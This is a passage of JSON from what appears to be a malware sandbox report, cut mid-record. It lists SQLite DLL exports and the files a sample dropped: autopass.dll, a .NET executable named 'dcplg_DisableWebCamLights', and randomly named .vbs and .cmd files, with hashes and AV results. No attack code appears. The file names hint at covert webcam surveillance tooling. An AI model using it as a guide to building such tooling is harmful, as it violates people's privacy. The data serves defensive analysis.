"sqlite3_column_decltype","ordinal":60,"address":"0x100bdf00"},{"name":"sqlite3_column_decltype16","ordinal":61,"address":"0x100bdee0"},{"name":"_sqlite3_column_decltype16_interop@12","ordinal":62,"address":"0x1002b330"},{"name":"_sqlite3_column_decltype_interop@12","ordinal":63,"address":"0x1002b390"},{"name":"sqlite3_column_double","ordinal":64,"address":"0x100be4c0"},{"name":"_sqlite3_column_double_interop@12","ordinal":65,"address":"0x1002b310"},{"name":"sqlite3_column_int","ordinal":66,"address":"0x100be3e0"},{"name":"sqlite3_column_int64","ordinal":67,"address":"0x100be330"},{"name":"_sqlite3_column_int64_interop@12","ordinal":68,"address":"0x1002b2e0"},{"name":"sqlite3_column_name","ordinal":69,"address":"0x100bdf40"},{"name":"sqlite3_column_name16","ordinal":70,"address":"0x100bdf20"},{"name":"_sqlite3_column_name16_interop@12","ordinal":71,"address":"0x1002b3e0"},{"name":"_sqlite3_column_name_interop@12","ordinal":72,"address":"0x1002b440"},{"name":"sqlite3_column_origin_name","ordinal":73,"address":"0x100bde40"},{"name":"sqlite3_column_origin_name16","ordinal":74,"address":"0x100bde20"},{"name":"_sqlite3_column_origin_name16_interop@12","ordinal":75,"address":"0x1002aa90"},{"name":"_sqlite3_column_origin_name_interop@12","ordinal":76,"address":"0x1002aaf0"},{"name":"sqlite3_column_table_name","ordinal":77,"address":"0x100bde80"},{"name":"sqlite3_column_table_name16","ordinal":78,"address":"0x100bde60"},{"name":"_sqlite3_column_table_name16_interop@12","ordinal":79,"address":"0x1002ab40"},{"name":"_sqlite3_column_table_name_interop@12","ordinal":80,"address":"0x1002aba0"},{"name":"sqlite3_column_text","ordinal":81,"address":"0x100be250"},{"name":"sqlite3_column_text16","ordinal":82,"address":"0x100be0c0"},{"name":"_sqlite3_column_text16_interop@12","ordinal":83,"address":"0x1002b160"},{"name":"_sqlite3_column_text_interop@12","ordinal":84,"address":"0x1002b1a0"},{"name":"sqlite3_column_type","ordinal":85,"address":"0x100be010"},{"name":"sqlite3_column_value","ordinal":86,"address":"0x100be1a0"},{"name":"sqlite3_commit_hook","ordinal":87,"address":"0x10061e90"},{"name":"sqlite3_compileoption_get","ordinal":88,"address":"0x1005f760"},{"name":"sqlite3_compileoption_used","ordinal":89,"address":"0x1005f780"},{"name":"sqlite3_complete","ordinal":90,"address":"0x100642e0"},{"name":"sqlite3_complete16","ordinal":91,"address":"0x100641e0"},{"name":"sqlite3_config","ordinal":92,"address":"0x10063b80"},{"name":"_sqlite3_context_collcompare_interop@20","ordinal":93,"address":"0x1002ad40"},{"name":"_sqlite3_context_collseq_interop@16","ordinal":94,"address":"0x1002aca0"},{"name":"sqlite3_context_db_handle","ordinal":95,"address":"0x100bec40"},{"name":"sqlite3_create_collation","ordinal":96,"address":"0x100605f0"},{"name":"sqlite3_create_collation16","ordinal":97,"address":"0x10060470"},{"name":"sqlite3_create_collation_v2","ordinal":98,"address":"0x10060540"},{"name":"sqlite3_create_disposable_module","ordinal":99,"address":"0x10029470"},{"name":"_sqlite3_create_disposable_module_interop@112","ordinal":100,"address":"0x1002b580"},{"name":"sqlite3_create_function","ordinal":101,"address":"0x10062470"},{"name":"sqlite3_create_function16","ordinal":102,"address":"0x100621f0"},{"name":"_sqlite3_create_function_interop@36","ordinal":103,"address":"0x1002b070"},{"name":"sqlite3_create_function_v2","ordinal":104,"address":"0x10062300"},{"name":"sqlite3_create_module","ordinal":105,"address":"0x10077070"},{"name":"sqlite3_create_module_v2","ordinal":106,"address":"0x10077010"},{"name":"_sqlite3_cursor_rowid_interop@12","ordinal":107,"address":"0x1002a730"},{"name":"sqlite3_data_count","ordinal":108,"address":"0x100be8f0"},{"name":"sqlite3_data_directory","ordinal":109,"address":"0x10103600"},{"name":"sqlite3_db_cacheflush","ordinal":110,"address":"0x100637e0"},{"name":"sqlite3_db_config","ordinal":111,"address":"0x10063710"},{"name":"sqlite3_db_filename","ordinal":112,"address":"0x1005f8a0"},{"name":"sqlite3_db_handle","ordinal":113,"address":"0x100bd450"},{"name":"sqlite3_db_mutex","ordinal":114,"address":"0x100639a0"},{"name":"sqlite3_db_readonly","ordinal":115,"address":"0x1005f830"},{"name":"sqlite3_db_release_memory","ordinal":116,"address":"0x100638d0"},{"name":"sqlite3_db_status","ordinal":117,"address":"0x100ec8f0"},{"name":"sqlite3_declare_vtab","ordinal":118,"address":"0x10075eb0"},{"name":"sqlite3_dispose_module","ordinal":119,"address":"0x10029400"},{"name":"sqlite3_enable_load_extension","ordinal":120,"address":"0x1008ce50"},{"name":"sqlite3_enable_shared_cache","ordinal":121,"address":"0x100d4730"},{"name":"sqlite3_errcode","ordinal":122,"address":"0x10061720"},{"name":"sqlite3_errmsg","ordinal":123,"address":"0x10061880"},{"name":"sqlite3_errmsg16","ordinal":124,"address":"0x100617a0"},{"name":"_sqlite3_errmsg_interop@8","ordinal":125,"address":"0x1002b760"},{"name":"sqlite3_errstr","ordinal":126,"address":"0x10061630"},{"name":"sqlite3_exec","ordinal":127,"address":"0x1008d5d0"},{"name":"sqlite3_expanded_sql","ordinal":128,"address":"0x100bd230"},{"name":"sqlite3_expired","ordinal":129,"address":"0x100bfec0"},{"name":"sqlite3_extended_errcode","ordinal":130,"address":"0x100616a0"},{"name":"sqlite3_extended_result_codes","ordinal":131,"address":"0x1005fe30"},{"name":"sqlite3_file_control","ordinal":132,"address":"0x1005fd00"},{"name":"sqlite3_finalize","ordinal":133,"address":"0x100bfc90"},{"name":"_sqlite3_finalize_interop@4","ordinal":134,"address":"0x1002b140"},{"name":"sqlite3_free","ordinal":135,"address":"0x100e9be0"},{"name":"sqlite3_free_table","ordinal":136,"address":"0x1007c2e0"},{"name":"sqlite3_fts5_init","ordinal":137,"address":"0x10010990"},{"name":"sqlite3_fts_init","ordinal":138,"address":"0x100109a0"},{"name":"sqlite3_get_autocommit","ordinal":139,"address":"0x100602f0"},{"name":"sqlite3_get_auxdata","ordinal":140,"address":"0x100bea80"},{"name":"sqlite3_get_table","ordinal":141,"address":"0x1007c3d0"},{"name":"sqlite3_global_recover","ordinal":142,"address":"0x10060340"},{"name":"_sqlite3_index_column_info_interop@32","ordinal":143,"address":"0x1002a880"},{"name":"sqlite3_initialize","ordinal":144,"address":"0x10063fb0"},{"name":"sqlite3_interrupt","ordinal":145,"address":"0x10062660"},{"name":"sqlite3_json_init","ordinal":146,"address":"0x10006400"},{"name":"sqlite3_key","ordinal":147,"address":"0x1002bbf0"},{"name":"sqlite3_key_v2","ordinal":148,"address":"0x1002bc10"},{"name":"sqlite3_keyword_check","ordinal":149,"address":"0x10065080"},{"name":"sqlite3_keyword_count","ordinal":150,"address":"0x100650b0"},{"name":"sqlite3_keyword_name","ordinal":151,"address":"0x100650c0"},{"name":"sqlite3_last_insert_rowid","ordinal":152,"address":"0x100635a0"},{"name":"_sqlite3_last_insert_rowid_interop@8","ordinal":153,"address":"0x1002b270"},{"name":"sqlite3_libversion","ordinal":154,"address":"0x100641d0"},{"name":"sqlite3_libversion_number","ordinal":155,"address":"0x100641c0"},{"name":"sqlite3_limit","ordinal":156,"address":"0x10061410"},{"name":"sqlite3_load_extension","ordinal":157,"address":"0x1008cf70"},{"name":"sqlite3_log","ordinal":158,"address":"0x100e7160"},{"name":"sqlite3_malloc","ordinal":159,"address":"0x100e9d00"},{"name":"sqlite3_malloc64","ordinal":160,"address":"0x100e9cd0"},{"name":"_sqlite3_malloc_size_interop@4","ordinal":161,"address":"0x1002b8c0"},{"name":"sqlite3_memory_alarm","ordinal":162,"address":"0x100ea1e0"},{"name":"sqlite3_memory_highwater","ordinal":163,"address":"0x100e9f50"},{"name":"_sqlite3_memory_highwater_interop@8","ordinal":164,"address":"0x1002b1e0"},{"name":"sqlite3_memory_used","ordinal":165,"address":"0x100e9f80"},{"name":"_sqlite3_memory_used_interop@4","ordinal":166,"address":"0x1002b220"},{"name":"sqlite3_mprintf","ordinal":167,"address":"0x100e72f0"},{"name":"sqlite3_msize","ordinal":168,"address":"0x100e9c50"},{"name":"_sqlite3_msize_interop@8","ordinal":169,"address":"0x1002b880"},{"name":"sqlite3_mutex_alloc","ordinal":170,"address":"0x100ea590"},{"name":"sqlite3_mutex_enter","ordinal":171,"address":"0x100ea530"},{"name":"sqlite3_mutex_free","ordinal":172,"address":"0x100ea550"},{"name":"sqlite3_mutex_leave","ordinal":173,"address":"0x100ea4f0"},{"name":"sqlite3_mutex_try","ordinal":174,"address":"0x100ea510"},{"name":"sqlite3_next_stmt","ordinal":175,"address":"0x100bd380"},{"name":"sqlite3_open","ordinal":176,"address":"0x10060740"},{"name":"sqlite3_open16","ordinal":177,"address":"0x10060610"},{"name":"_sqlite3_open16_interop@20","ordinal":178,"address":"0x1002b7a0"},{"name":"_sqlite3_open_interop@20","ordinal":179,"address":"0x1002b800"},{"name":"sqlite3_open_v2","ordinal":180,"address":"0x10060720"},{"name":"sqlite3_os_end","ordinal":181,"address":"0x100e09c0"},{"name":"sqlite3_os_init","ordinal":182,"address":"0x100e09d0"},{"name":"sqlite3_overload_function","ordinal":183,"address":"0x100620b0"},{"name":"sqlite3_percentile_init","ordinal":184,"address":"0x10005ff0"},{"name":"sqlite3_prepare","ordinal":185,"address":"0x10088260"},{"name":"sqlite3_prepare16","ordinal":186,"address":"0x10088050"},{"name":"_sqlite3_prepare16_interop@24","ordinal":187,"address":"0x1002b640"},{"name":"sqlite3_prepare16_v2","ordinal":188,"address":"0x10088020"},{"name":"sqlite3_prepare16_v3","ordinal":189,"address":"0x10087ff0"},{"name":"_sqlite3_prepare_interop@24","ordinal":190,"address":"0x1002b6b0"},{"name":"sqlite3_prepare_v2","ordinal":191,"address":"0x10088230"},{"name":"sqlite3_prepare_v3","ordinal":192,"address":"0x10088200"},{"name":"sqlite3_preupdate_count","ordinal":193,"address":"0x100bcfb0"},{"name":"sqlite3_preupdate_depth","ordinal":194,"address":"0x100bcf90"},{"name":"sqlite3_preupdate_hook","ordinal":195,"address":"0x10061d40"},{"name":"sqlite3_preupdate_new","ordinal":196,"address":"0x100bcd70"},{"name":"sqlite3_preupdate_old","ordinal":197,"address":"0x100bcfd0"},{"name":"sqlite3_profile","ordinal":198,"address":"0x10061f10"},{"name":"sqlite3_progress_handler","ordinal":199,"address":"0x10062740"},{"name":"sqlite3_randomness","ordinal":200,"address":"0x100e6f90"},{"name":"sqlite3_realloc","ordinal":201,"address":"0x100e9970"},{"name":"sqlite3_realloc64","ordinal":202,"address":"0x100e9940"},{"name":"sqlite3_regexp_init","ordinal":203,"address":"0x100048e0"},{"name":"sqlite3_rekey","ordinal":204,"address":"0x1002bbd0"},{"name":"sqlite3_rekey_v2","ordinal":205,"address":"0x1002b9b0"},{"name":"sqlite3_release_memory","ordinal":206,"address":"0x100ea200"},{"name":"sqlite3_reset","ordinal":207,"address":"0x100bfbc0"},{"name":"sqlite3_reset_auto_extension","ordinal":208,"address":"0x1008cc90"},{"name":"_sqlite3_reset_interop@4","ordinal":209,"address":"0x1002b0e0"},{"name":"sqlite3_result_blob","ordinal":210,"address":"0x100bf640"},{"name":"sqlite3_result_blob64","ordinal":211,"address":"0x100bf5d0"},{"name":"sqlite3_result_double","ordinal":212,"address":"0x100bf560"},{"name":"_sqlite3_result_double_interop@8","ordinal":213,"address":"0x1002ae10"},{"name":"sqlite3_result_error","ordinal":214,"address":"0x100bf530"},{"name":"sqlite3_result_error16","ordinal":215,"address":"0x100bf500"},{"name":"sqlite3_result_error_code","ordinal":216,"address":"0x100bf0b0"},{"name":"sqlite3_result_error_nomem","ordinal":217,"address":"0x100bf020"},{"name":"sqlite3_result_error_toobig","ordinal":218,"address":"0x100bf080"},{"name":"sqlite3_result_int","ordinal":219,"address":"0x100bf4c0"},{"name":"sqlite3_result_int64","ordinal":220,"address":"0x100bf480"},{"name":"_sqlite3_result_int64_interop@8","ordinal":221,"address":"0x1002adc0"},{"name":"sqlite3_result_null","ordinal":222,"address":"0x100bf450"},{"name":"sqlite3_result_pointer","ordinal":223,"address":"0x100bf3f0"},{"name":"sqlite3_result_subtype","ordinal":224,"address":"0x100bf3d0"},{"name":"sqlite3_result_text","ordinal":225,"address":"0x100bf390"},{"name":"sqlite3_result_text16","ordinal":226,"address":"0x100bf2c0"},{"name":"sqlite3_result_text16be","ordinal":227,"address":"0x100bf280"},{"name":"sqlite3_result_text16le","ordinal":228,"address":"0x100bf240"},{"name":"sqlite3_result_text64","ordinal":229,"address":"0x100bf300"},{"name":"sqlite3_result_value","ordinal":230,"address":"0x100bf220"},{"name":"sqlite3_result_zeroblob","ordinal":231,"address":"0x100bf1d0"},{"name":"sqlite3_result_zeroblob64","ordinal":232,"address":"0x100bf160"},{"name":"sqlite3_rollback_hook","ordinal":233,"address":"0x10061d90"},{"name":"sqlite3_rtree_geometry_callback","ordinal":234,"address":"0x1003d420"},{"name":"sqlite3_rtree_query_callback","ordinal":235,"address":"0x1003d3b0"},{"name":"sqlite3_set_authorizer","ordinal":236,"address":"0x100a2100"},{"name":"sqlite3_set_auxdata","ordinal":237,"address":"0x100be940"},{"name":"sqlite3_set_last_insert_rowid","ordinal":238,"address":"0x10063530"},{"name":"sqlite3_sha_init","ordinal":239,"address":"0x10002b20"},{"name":"sqlite3_shutdown","ordinal":240,"address":"0x10063ef0"},{"name":"sqlite3_sleep","ordinal":241,"address":"0x1005feb0"},{"name":"sqlite3_snprintf","ordinal":242,"address":"0x100e7230"},{"name":"sqlite3_soft_heap_limit","ordinal":243,"address":"0x100ea0a0"},{"name":"sqlite3_soft_heap_limit64","ordinal":244,"address":"0x100ea0c0"},{"name":"sqlite3_sourceid","ordinal":245,"address":"0x10030bc0"},{"name":"sqlite3_sql","ordinal":246,"address":"0x100bd290"},{"name":"sqlite3_status","ordinal":247,"address":"0x100ecd50"},{"name":"sqlite3_status64","ordinal":248,"address":"0x100ecdd0"},{"name":"sqlite3_step","ordinal":249,"address":"0x100bec60"},{"name":"sqlite3_stmt_busy","ordinal":250,"address":"0x100bd400"},{"name":"sqlite3_stmt_readonly","ordinal":251,"address":"0x100bd430"},{"name":"sqlite3_stmt_status","ordinal":252,"address":"0x100bd2b0"},{"name":"sqlite3_str_append","ordinal":253,"address":"0x100e7820"},{"name":"sqlite3_str_appendall","ordinal":254,"address":"0x100e77c0"},{"name":"sqlite3_str_appendchar","ordinal":255,"address":"0x100e78b0"},{"name":"sqlite3_str_appendf","ordinal":256,"address":"0x100e7140"},{"name":"sqlite3_str_errcode","ordinal":257,"address":"0x100e7680"},{"name":"sqlite3_str_finish","ordinal":258,"address":"0x100e76a0"},{"name":"sqlite3_str_length","ordinal":259,"address":"0x100e7660"},{"name":"sqlite3_str_new","ordinal":260,"address":"0x100e74e0"},{"name":"sqlite3_str_reset","ordinal":261,"address":"0x100e75c0"},{"name":"sqlite3_str_value","ordinal":262,"address":"0x100e7630"},{"name":"sqlite3_str_vappendf","ordinal":263,"address":"0x100e7a20"},{"name":"sqlite3_strglob","ordinal":264,"address":"0x10096e10"},{"name":"sqlite3_stricmp","ordinal":265,"address":"0x100e62b0"},{"name":"sqlite3_strlike","ordinal":266,"address":"0x10096df0"},{"name":"sqlite3_strnicmp","ordinal":267,"address":"0x100e61e0"},{"name":"sqlite3_system_errno","ordinal":268,"address":"0x10061680"},{"name":"sqlite3_table_column_metadata","ordinal":269,"address":"0x1005fef0"},{"name":"_sqlite3_table_column_metadata_interop@44","ordinal":270,"address":"0x1002aa00"},{"name":"_sqlite3_table_cursor_interop@12","ordinal":271,"address":"0x1002a800"},{"name":"sqlite3_temp_directory","ordinal":272,"address":"0x10103604"},{"name":"sqlite3_test_control","ordinal":273,"address":"0x1005fa90"},{"name":"sqlite3_thread_cleanup","ordinal":274,"address":"0x10060220"},{"name":"sqlite3_threadsafe","ordinal":275,"address":"0x100641b0"},{"name":"sqlite3_total_changes","ordinal":276,"address":"0x10063490"},{"name":"sqlite3_totype_init","ordinal":277,"address":"0x10001f30"},{"name":"sqlite3_trace","ordinal":278,"address":"0x10062020"},{"name":"sqlite3_trace_v2","ordinal":279,"address":"0x10061f90"},{"name":"sqlite3_transfer_bindings","ordinal":280,"address":"0x100bd470"},{"name":"sqlite3_update_hook","ordinal":281,"address":"0x10061e10"},{"name":"sqlite3_uri_boolean","ordinal":282,"address":"0x1005f990"},{"name":"sqlite3_uri_int64","ordinal":283,"address":"0x1005f950"},{"name":"sqlite3_uri_parameter","ordinal":284,"address":"0x1005f9d0"},{"name":"sqlite3_user_data","ordinal":285,"address":"0x100bec50"},{"name":"sqlite3_value_blob","ordinal":286,"address":"0x100bfad0"},{"name":"sqlite3_value_bytes","ordinal":287,"address":"0x100bfa80"},{"name":"sqlite3_value_bytes16","ordinal":288,"address":"0x100bfa40"},{"name":"sqlite3_value_double","ordinal":289,"address":"0x100bf9e0"},{"name":"_sqlite3_value_double_interop@8","ordinal":290,"address":"0x1002b010"},{"name":"sqlite3_value_dup","ordinal":291,"address":"0x100bf710"},{"name":"sqlite3_value_free","ordinal":292,"address":"0x100bf700"},{"name":"sqlite3_value_int","ordinal":293,"address":"0x100bf990"},{"name":"sqlite3_value_int64","ordinal":294,"address":"0x100bf980"},{"name":"_sqlite3_value_int64_interop@8","ordinal":295,"address":"0x1002aff0"},{"name":"sqlite3_value_nochange","ordinal":296,"address":"0x100bf7b0"},{"name":"sqlite3_value_numeric_type","ordinal":297,"address":"0x100bc570"},{"name":"sqlite3_value_pointer","ordinal":298,"address":"0x100bf8f0"},{"name":"sqlite3_value_subtype","ordinal":299,"address":"0x100bf960"},{"name":"sqlite3_value_text","ordinal":300,"address":"0x100bf8b0"},{"name":"sqlite3_value_text16","ordinal":301,"address":"0x100bf870"},{"name":"_sqlite3_value_text16_interop@8","ordinal":302,"address":"0x1002ae90"},{"name":"sqlite3_value_text16be","ordinal":303,"address":"0x100bf830"},{"name":"sqlite3_value_text16le","ordinal":304,"address":"0x100bf7f0"},{"name":"_sqlite3_value_text_interop@8","ordinal":305,"address":"0x1002af40"},{"name":"sqlite3_value_type","ordinal":306,"address":"0x100bf7d0"},{"name":"sqlite3_version","ordinal":307,"address":"0x100fa2d8"},{"name":"sqlite3_vfs_find","ordinal":308,"address":"0x100ea7e0"},{"name":"sqlite3_vfs_register","ordinal":309,"address":"0x100ea6f0"},{"name":"sqlite3_vfs_unregister","ordinal":310,"address":"0x100ea670"},{"name":"sqlite3_vmprintf","ordinal":311,"address":"0x100e7320"},{"name":"sqlite3_vsnprintf","ordinal":312,"address":"0x100e7250"},{"name":"sqlite3_vtab_collation","ordinal":313,"address":"0x1006ac50"},{"name":"sqlite3_vtab_config","ordinal":314,"address":"0x100756a0"},{"name":"sqlite3_vtab_nochange","ordinal":315,"address":"0x100bec20"},{"name":"sqlite3_vtab_on_conflict","ordinal":316,"address":"0x10075760"},{"name":"sqlite3_vtshim_init","ordinal":317,"address":"0x100293f0"},{"name":"sqlite3_wal_autocheckpoint","ordinal":318,"address":"0x10061c90"},{"name":"sqlite3_wal_checkpoint","ordinal":319,"address":"0x10061ac0"},{"name":"sqlite3_wal_checkpoint_v2","ordinal":320,"address":"0x10061ae0"},{"name":"sqlite3_wal_hook","ordinal":321,"address":"0x10061c10"},{"name":"sqlite3_win32_compact_heap","ordinal":322,"address":"0x100e44a0"},{"name":"sqlite3_win32_is_nt","ordinal":323,"address":"0x100e42b0"},{"name":"sqlite3_win32_mbcs_to_utf8","ordinal":324,"address":"0x100e3c90"},{"name":"sqlite3_win32_mbcs_to_utf8_v2","ordinal":325,"address":"0x100e3c10"},{"name":"sqlite3_win32_reset_heap","ordinal":326,"address":"0x100e43b0"},{"name":"sqlite3_win32_set_directory","ordinal":327,"address":"0x100e39e0"},{"name":"sqlite3_win32_set_directory16","ordinal":328,"address":"0x100e3a40"},{"name":"sqlite3_win32_set_directory8","ordinal":329,"address":"0x100e3aa0"},{"name":"sqlite3_win32_sleep","ordinal":330,"address":"0x100e42e0"},{"name":"sqlite3_win32_unicode_to_utf8","ordinal":331,"address":"0x100e3d10"},{"name":"sqlite3_win32_utf8_to_mbcs","ordinal":332,"address":"0x100e3b90"},{"name":"sqlite3_win32_utf8_to_mbcs_v2","ordinal":333,"address":"0x100e3b10"},{"name":"sqlite3_win32_utf8_to_unicode","ordinal":334,"address":"0x100e3d60"},{"name":"sqlite3_win32_write_debug","ordinal":335,"address":"0x100e42f0"},{"name":"sqlite3changegroup_add","ordinal":336,"address":"0x10032420"},{"name":"sqlite3changegroup_add_strm","ordinal":337,"address":"0x10032370"},{"name":"sqlite3changegroup_delete","ordinal":338,"address":"0x10032330"},{"name":"sqlite3changegroup_new","ordinal":339,"address":"0x100324a0"},{"name":"sqlite3changegroup_output","ordinal":340,"address":"0x10032400"},{"name":"sqlite3changegroup_output_strm","ordinal":341,"address":"0x10032350"},{"name":"sqlite3changeset_apply","ordinal":342,"address":"0x10033260"},{"name":"sqlite3changeset_apply_strm","ordinal":343,"address":"0x10033160"},{"name":"sqlite3changeset_apply_v2","ordinal":344,"address":"0x100332e0"},{"name":"sqlite3changeset_apply_v2_strm","ordinal":345,"address":"0x100331e0"},{"name":"sqlite3changeset_concat","ordinal":346,"address":"0x10032290"},{"name":"sqlite3changeset_concat_strm","ordinal":347,"address":"0x100321f0"},{"name":"sqlite3changeset_conflict","ordinal":348,"address":"0x10037100"},{"name":"sqlite3changeset_finalize","ordinal":349,"address":"0x10036f00"},{"name":"sqlite3changeset_fk_conflicts","ordinal":350,"address":"0x100370d0"},{"name":"sqlite3changeset_invert","ordinal":351,"address":"0x100366d0"},{"name":"sqlite3changeset_invert_strm","ordinal":352,"address":"0x10036680"},{"name":"sqlite3changeset_new","ordinal":353,"address":"0x10037140"},{"name":"sqlite3changeset_next","ordinal":354,"address":"0x10037210"},{"name":"sqlite3changeset_old","ordinal":355,"address":"0x10037180"},{"name":"sqlite3changeset_op","ordinal":356,"address":"0x100371e0"},{"name":"sqlite3changeset_pk","ordinal":357,"address":"0x100371c0"},{"name":"sqlite3changeset_start","ordinal":358,"address":"0x10037d60"},{"name":"sqlite3changeset_start_strm","ordinal":359,"address":"0x10037ce0"},{"name":"sqlite3rebaser_configure","ordinal":360,"address":"0x100310a0"},{"name":"sqlite3rebaser_create","ordinal":361,"address":"0x10031120"},{"name":"sqlite3rebaser_delete","ordinal":362,"address":"0x10030f70"},{"name":"sqlite3rebaser_rebase","ordinal":363,"address":"0x10031020"},{"name":"sqlite3rebaser_rebase_strm","ordinal":364,"address":"0x10030f90"},{"name":"sqlite3session_attach","ordinal":365,"address":"0x100397c0"},{"name":"sqlite3session_changeset","ordinal":366,"address":"0x10038100"},{"name":"sqlite3session_changeset_strm","ordinal":367,"address":"0x100380e0"},{"name":"sqlite3session_create","ordinal":368,"address":"0x10039da0"},{"name":"sqlite3session_delete","ordinal":369,"address":"0x10039970"},{"name":"sqlite3session_diff","ordinal":370,"address":"0x10039f30"},{"name":"sqlite3session_enable","ordinal":371,"address":"0x10037ff0"},{"name":"sqlite3session_indirect","ordinal":372,"address":"0x10037f40"},{"name":"sqlite3session_isempty","ordinal":373,"address":"0x10037e50"},{"name":"sqlite3session_patchset","ordinal":374,"address":"0x100380a0"},{"name":"sqlite3session_patchset_strm","ordinal":375,"address":"0x100380c0"},{"name":"sqlite3session_table_filter","ordinal":376,"address":"0x10039950"}]}},{"name":"autopass.dll","file_path":"C:\\Media\\autopass.dll","file_size":14,"md5":"0bc7c12e49b248ad4acece20aa2fa550","sha1":"b16090020ef8024772ccbedb3f915406e0890af2","sha256":"49996d233a147904872d6c9a2eefc2fa103cbd90c3d32f1002fbad8c6fe0455d","sha512":"ea4799c93de35ac92a9e8491072a2891536293fecd976e638c985e46a763658b2456d120f869b4d64a0cb86e9e085229b0f01c164bdb6f320306cd4654036a09","type_tags":["text"],"description":"ASCII text, with no line terminators","runtime_process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe (PID: 2736)","threat_level":0,"threat_level_readable":"no specific threat","group":"clean","av_label":null,"av_matched":0,"av_total":81,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=09a8e71d740919e3704015992c1350f8256c70b0d8eeebe736cbb8e136cf8875b98fc88c38925a59b6dbaa465d5411a39ce3828d7fd2238776a5c94e24ad05c6def6a19b878a57","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=09a8e71d740919e3704015992c1350f8256c70b0d8eeebe736cbb8e136cf8875b98fc88c38925a59b6dbaa465d5411a39ce3828d7fd2238776a5c94e24ad05c6def6a19b878a57","has_overview":false,"extended_details":null},{"name":"e6ee5674bb9446c78bbc5729af6e2c28.exe","file_path":"C:\\Media\\e6ee5674bb9446c78bbc5729af6e2c28.exe","file_size":8192,"md5":"c4a3c2cad895e1922b778b91c519f7f0","sha1":"9c8267bd68db7ecd98af6420195e2ddbc5faf99b","sha256":"50d672e104dfc82540dd8246f6a177e869a8154a1f8750bde373d3c0466cae1e","sha512":"8032a1e7fccaaf353308e8d5da1477d94dd89baebdbf736e84f062679dfa1859f51f1b11ef570d96602c78820484921aa68c77874175c2bb8f439135a46ce99c","type_tags":["peexe","assembly","executable"],"description":"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows","runtime_process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe (PID: 2736)","threat_level":0,"threat_level_readable":"no specific threat","group":"clean","av_label":null,"av_matched":0,"av_total":65,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":true,"extended_details":{"filename":"e6ee5674bb9446c78bbc5729af6e2c28.exe","size":8192,"description":null,"architecture":"32 Bit","ssdeep":"96:oaxbjkpgnTO0zTPEPSjQ8zvmh9W2TGLgGcpONmcA/b35pwp2bXqWvszNt:oaxbJK0zD9cWmhwcGLgH6yDcpxL","imphash":"f34d5f2d4577ed6d9ceec516c1f5a744","authentihash":"f1f608e7d908ef70aff8d28bdd803a412ba0cb9d5885f9f9383e69a617acced9","entrypoint_bytes":null,"packer":"Microsoft visual C# v7.0 / Basic .NET","version_info":[{"id":"Translation","value":"0x0000 0x04b0"},{"id":"LegalCopyright","value":"Copyright 2019"},{"id":"Assembly Version","value":"1.0.0.0"},{"id":"InternalName","value":"dcplg_DisableWebCamLights.exe"},{"id":"FileVersion","value":"1.0.0.0"},{"id":"CompanyName","value":null},{"id":"LegalTrademarks","value":null},{"id":"Comments","value":null},{"id":"ProductName","value":"dcplg_DisableWebCamLights"},{"id":"ProductVersion","value":"1.0.0.0"},{"id":"FileDescription","value":"dcplg_DisableWebCamLights"},{"id":"OriginalFilename","value":"dcplg_DisableWebCamLights.exe"}],"file_sections":[{"name":".text","entropy":5.50068709094,"virtual_address":"0x2000","virtual_size":"0x13f8","raw_size":"0x1400","md5":"748c72ae6f6e719babd5afd103be0692"},{"name":".rsrc","entropy":3.49025367783,"virtual_address":"0x4000","virtual_size":"0x62c","raw_size":"0x800","md5":"9cce33b83f859192d20a6a4a576cab60"},{"name":".reloc","entropy":0.0815394123432,"virtual_address":"0x6000","virtual_size":"0xc","raw_size":"0x200","md5":"8c8f5e8239b2880cc9c3e338fed82e0b"}],"file_imports":[{"module":"mscoree.dll","functions":["_CorExeMain"]}],"file_exports":[]}},{"name":"H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs","file_path":"%PUBLIC%\\Download\\H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs","file_size":121,"md5":"5177407ae2cb6ad088d0327e22ff06e4","sha1":"5bc716fa4178911376b2292028368cb93df6d2ef","sha256":"27a4109295ff69f74e6de56a6bfccbebc2912dffd9200962d1d08f57c90cc447","sha512":"cab16d579de47f0240b62f7c6466e71584b4f01a25944597a6990ade71cfd4aea9f41a4931f22bb51785bda66f9cf3d1af3dccaab82057cd7302d512ac973c64","type_tags":["script","javascript"],"description":"ASCII text","runtime_process":"wscript.exe (PID: 2756)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":true,"download_link":"/bff/report/5cf33b8b028838d07437db51/download/dropped-file?key=095ed02fe2fb4901ca5842d83ebdfd346368596afd664e6f858003aa7d9e19b634d2be404b5c685957d7f40a71bc85e780c315d405cc0a1d3ffc2fb593e56d32993ae7f39b9c388ab042b9233e4b1676f1480d868d2bdbb685cdbe2bdd","submit_link":"/bff/report/5cf33b8b028838d07437db51/submit/dropped-file?key=095ed02fe2fb4901ca5842d83ebdfd346368596afd664e6f858003aa7d9e19b634d2be404b5c685957d7f40a71bc85e780c315d405cc0a1d3ffc2fb593e56d32993ae7f39b9c388ab042b9233e4b1676f1480d868d2bdbb685cdbe2bdd","has_overview":false,"extended_details":null},{"name":"jxzvmjhZXoFhKaVkRQp3.cmd","file_path":"%PUBLIC%\\Download\\jxzvmjhZXoFhKaVkRQp3.cmd","file_size":311,"md5":"6a3dfbb765bb69dbc39ce97381c7c266","sha1":"38e20b6a105a5b08c052766f07f03c0ae83d0a4f","sha256":"8da42a3cde86dd60cb5c2d5b70e38815a1a86d27886584673e2af1bf15629290","sha512":"909cef7368e5005348bf7746b5f2f8b69614ca2484030da930a39ad0f457a8f18f27c49d0bc1edd9ac7cf47dcc3db364864fc4662a43bfc21547acd27b1a38ca","type_tags":["text"],"description":"ASCII text, with CRLF line terminators","runtime_process":"cmd.exe (PID: 3796)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative 